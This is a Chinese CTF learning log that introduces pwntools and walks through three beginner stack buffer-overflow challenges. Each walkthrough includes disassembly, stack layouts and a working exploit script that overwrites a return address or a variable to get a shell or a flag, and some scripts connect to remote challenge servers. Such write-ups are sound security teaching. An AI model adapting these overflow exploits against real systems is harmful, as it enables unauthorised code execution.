PWN 学习日志(1): pwntools简单使用与栈溢出实践
作者:互联网
常用的模块
模块 | 功能 |
---|---|
asm | 汇编与反汇编 |
dynelf | 远程符号泄漏 |
elf | 对elf文件进行操作 |
memleak | 用于内存泄漏 |
shellcraft | shellcode生成器 |
gdb | 配合gdb调试 |
utils | 一些实用的小功能 |
结合CTF例题
题目1
下载附件pwn1,使用checksec检查保护
$ checksec pwn1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
没有开启保护机制
终端输入objdump -d -M intel pwn1,反汇编后查看main函数
0000000000401142 <main>:
401142: 55 push rbp
401143: 48 89 e5 mov rbp,rsp
401146: 48 83 ec 10 sub rsp,0x10
40114a: 48 8d 3d b3 0e 00 00 lea rdi,[rip+0xeb3] # 402004 <_IO_stdin_used+0x4>
401151: e8 da fe ff ff call 401030 <puts@plt>
401156: 48 8d 45 f1 lea rax,[rbp-0xf]
40115a: 48 89 c7 mov rdi,rax
40115d: b8 00 00 00 00 mov eax,0x0
401162: e8 e9 fe ff ff call 401050 <gets@plt>
401167: 48 8d 45 f1 lea rax,[rbp-0xf]
40116b: 48 89 c7 mov rdi,rax
40116e: e8 bd fe ff ff call 401030 <puts@plt>
401173: 48 8d 3d 97 0e 00 00 lea rdi,[rip+0xe97] # 402011 <_IO_stdin_used+0x11>
40117a: e8 b1 fe ff ff call 401030 <puts@plt>
40117f: b8 00 00 00 00 mov eax,0x0
401184: c9 leave
401185: c3 ret
这段代码的开头是形成栈帧,sub rsp,0x10
是在栈中开辟了一段数组,这个大小是15(0x10-1),call puts
是调用puts函数,打印了一段字符串。rdi寄存器中存放的是gets的参数,即刚开的数组的首地址。gets向这个缓冲区数组读入数据但没有长度的限制,于是构成了缓冲区溢出。
IDA 反汇编结果
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts("please input");
gets(s);
puts(s);
puts("ok,bye!!!");
return 0;
}
查看数组s在栈中的位置,因为关闭了ASLR,所以栈的地址是固定的。
-000000000000000F s db ?
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000 s db 8 dup(?) //
+0000000000000008 r db 8 dup(?) // 这里是main函数返回地址
+0000000000000010
+0000000000000010 ; end of stack variables
与此同时,程序中提供了一个fun函数,可以借助它来开启一个交互shell
// 0x401186
int fun()
{
return system("/bin/sh");
}
利用gets函数读入输入,用一段垃圾数据覆盖到返回地址前,最后将fun函数的首地址覆盖到main的返回地址,即可修改程序的执行流,转移到fun函数代码段执行。
在本地尝试
from pwn import *
context(os="Linux", arch="amd64")
p = process("./pwn1") # 运行程序,开启进程
p.recvuntil("please input") # 接收字符串,直到"please input"
fun_addr = 0x0000000000401186 # fun函数的地址
shellcode = "A" * (0x08 + 0x0f) + p64(fun_addr) # 垃圾数据+函数地址
p.sendline(shellcode) # 发送
p.interactive() # 交互
本地成功拿到了shell
$ python demo.py
[+] Starting local process './pwn1': pid 13787
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAA\x86\x11
ok,bye!!!
$ ls
demo.py pwn1 pwn1.id1 pwn1.nam
peda-session-pwn1.txt pwn1.id0 pwn1.id2 pwn1.til
题目2
下载附件 BUUCTF
$ checksec warmup_csaw_2016
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
使用IDA反汇编main函数
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}
函数的开头开辟了两个数组,sprintf的作用是格式化字符串,下一行输出打印该字符串。查看该地址处的代码:
int sub_40060D()
{
return system("cat flag.txt");
}
可以看到是执行了一个命令,查看flag的文件内容。
main函数末尾存在一个gets函数,没有对读入长度作限制,因此可利用缓冲区溢出漏洞。
-0000000000000040 var_40 db 64 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
如上是栈的分布,计算要使用(0x08+0x40)个字节的垃圾数据覆盖到返回地址,最后将sub_40060D覆盖到返回地址
from pwn import *
context(os="Linux", arch="amd64")
p = remote("node4.buuoj.cn",29242) # 远程连接
p.recvuntil(">")
fun_addr = 0x40060d
shellcode = "A" * (0x08 + 0x40) + p64(fun_addr)
p.sendline(shellcode)
p.interactive()
执行代码
$ python demo.py
[+] Opening connection to node4.buuoj.cn on port 29242: Done
[*] Switching to interactive mode
flag{fe388bc3-c5c0-4cb7-8bdf-e14af238ca89}
拿到flag
题目3
下载附件 BUUCTF
$ checksec ciscn_2019_n_1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
无保护机制
使用IDA 反汇编main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;
}
进入func函数
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}
根据程序逻辑,若v2为11.28125则拿到flag
那么可以通过gets函数的缓冲区溢出来修改v2的值
-0000000000000030 ; D/A/* : change type (data/ascii/array)
-0000000000000030 ; N : rename
-0000000000000030 ; U : undefine
-0000000000000030 ; Use data definition commands to create local variables and function arguments.
-0000000000000030 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000030 ; Frame size: 30; Saved regs: 8; Purge: 0
-0000000000000030 ;
-0000000000000030
-0000000000000030 var_30 db 44 dup(?)
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
v1的首地址在-0000000000000030,v2在-0000000000000004,先用(0x30-0x04 )字节的数据覆盖到v2地址之前,将v2地址处的数据覆盖为11.28125即可,根据IEEE754规范,11.28125的16进制的形式为0x41348000
from pwn import *
context(os="Linux", arch="amd64")
p = remote("node4.buuoj.cn",26379)
p.recvuntil("Let's guess the number.")
# 41 34 80 00
shellcode = "A" * (0x30 - 0x04) + p64(0x41348000)
p.sendline(shellcode)
p.interactive()
运行后拿到flag
$ python demo.py
[+] Opening connection to node4.buuoj.cn on port 26379: Done
[*] Switching to interactive mode
flag{9fcc4f83-6ddc-4a81-b14d-c0aec78372d6
总结
process函数可以打开一个本地的进程并且与其交互,参数是文件名。
send系列的函数可以发送字符,sendline会在末尾加上换行。
interactive() : 在取得shell之后使用,直接进行交互,相当于回到shell的模式。
recv(numb=字节大小, timeout=default) : 接收指定字节数。
recvall() : 一直接收直到达到文件EOF。
recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n。
recvuntil(delims, drop=False) : 一直读到delims的pattern出现为止。
recvrepeat(timeout=default) : 持续接受直到EOF或timeout。
简单的栈溢出题目中通常会有如gets这样的危险函数,对输入内容长度不加限制,从而导致溢出
标签:00,pwn1,undefined,db,PWN,pwntools,0000000000000030,日志,函数 来源: https://www.cnblogs.com/N3ptune/p/16261497.html